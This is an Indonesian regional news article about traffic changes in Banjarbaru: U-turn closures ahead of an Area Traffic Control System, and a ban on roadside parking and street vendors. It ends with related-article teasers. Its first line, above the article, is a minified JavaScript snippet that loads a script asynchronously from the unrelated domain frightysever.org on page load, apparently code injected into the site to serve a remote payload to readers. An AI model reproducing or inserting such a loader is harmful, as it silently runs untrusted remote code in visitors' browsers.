(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan Selatan (Kalsel) diminta steril dari parkir kendaraan maupun Pedagang Kaki Lima (PKL).
Hal tersebut disampaikan Kepala Dinas Perhubungan (Dishub) Kota Banjarbaru, Muhammad Mirhansyah saat melaksanakan rekayasa lalu lintas penutupan u-turn di sepanjang Jalan Pangeran Suriansyah, Kelurahan Komet, Kecamatan Banjarbaru Utara.
Adapun penutupan sejumlah u-turn tersebut dimaksudkan untuk simulasi keadaan saat Area Traffic Control System (ATCS), yang dipasang di simpang kantor Samsat Banjarbaru, dalam beberapa pekan ke depan.
“Jalan Pangeran Suriansyah Pada saat nanti dipasang ATCS akan steril dari parkir, baik di median maupun pinggir jalan dengan tujuan arus lalu lintas tidak ada penghambatan,” ujar Kadishub Banjarbaru, Muhammad Mirhansyah, Rabu (8/5/2024) siang.
Baca juga: Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul
Lebih lanjut, pengguna jalan dilarang memarkir kendaraan dengan alasan apapun, termasuk alasan lahan parkir yang penuh.
“Termasuk untuk parkir kafe-kafe yang ada di sepanjang jalan Pangeran Suriansyah, mereka punya lahan sendiri gak bisa dibenarkan dengan alasan parkir di lahan mereka penuh,” sebut dia.
Termasuk, kata dia, PKL yang berdiri pada saat siang maupun malam hari harus dibersihkan.
“Intinya urusan kemungkinan menghambat jalur akan dibersihkan, termasuk penertiban PKL kita akan kerja sama dengan Satpol PP karena harus clear and clean untuk jalan ini,” tegas dia.
Baca juga: Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor
Dirinya menegaskan, jika aturan ini sudah diberlakukan melalui pemasangan rambu-rambu yang akan yang dipasang, dan masih ditemukan masyarakat yang melanggar maka akan ditindak, baik oleh Dishub maupun kepolisian
“Kita tempatkan juga personel Polres, bisa menindak karena rambunya sudah terpasang, tapi yang jelas mulainya itu ketika ATCS berfungsi,” tegasnya.
Baca juga: Targetkan 5 Besar, Bupati Banjar Lepas Kontingen Popda Banjar Menuju HSS
Adapun dari pelaksanaan rekayasa penutupan u-turn ini, pihaknya mengevaluasi untuk penyempurnaan rambu-rambu parkir untuk di sepanjang Jalan Pangeran Suriansyah tersebut.
Sedangkan untuk rekayasa lalu lintas ini akan diberlakukan terhitung sejak tanggal 8 Mei 2024 hingga adanya pemberitahuan lebih lanjut. Untuk waktu penutupan, Dishub bisa melakukannya di pagi hingga siang hari, sore maupun malam hari.
Baca juga: Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias
“Seharusnya tidak berpengaruh kepada orang banyak karena jalannya tetap ada cuma arahnya saja yang kita atur supaya tidak ada penghambatan arus lalu lintas,” tuntas Mirhan. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Warga di Jalan Trikora, Kelurahan Landasan Ulin Tengah, Kecamatan Liang Anggang, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pengunjung Taman Ramah Anak Van der Pijl Kota Banjarbaru tak hanya diharuskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ombudsman RI Perwakilan Kalimantan Selatan (Kalsel) mencatat sepanjang tahun 2024 telah menerima… Read More
KANALKALIMANTAN.COM, BANJARBARU - Taman Van der Pijl Kota Banjarbaru kembali dibuka untuk bisa dinikmati masyarakat.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang melanda wilayah Kota Banjarmasin tak hanya melanda kawasan permukiman… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob kembali melanda wilayah Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel), Rabu… Read More
This website uses cookies.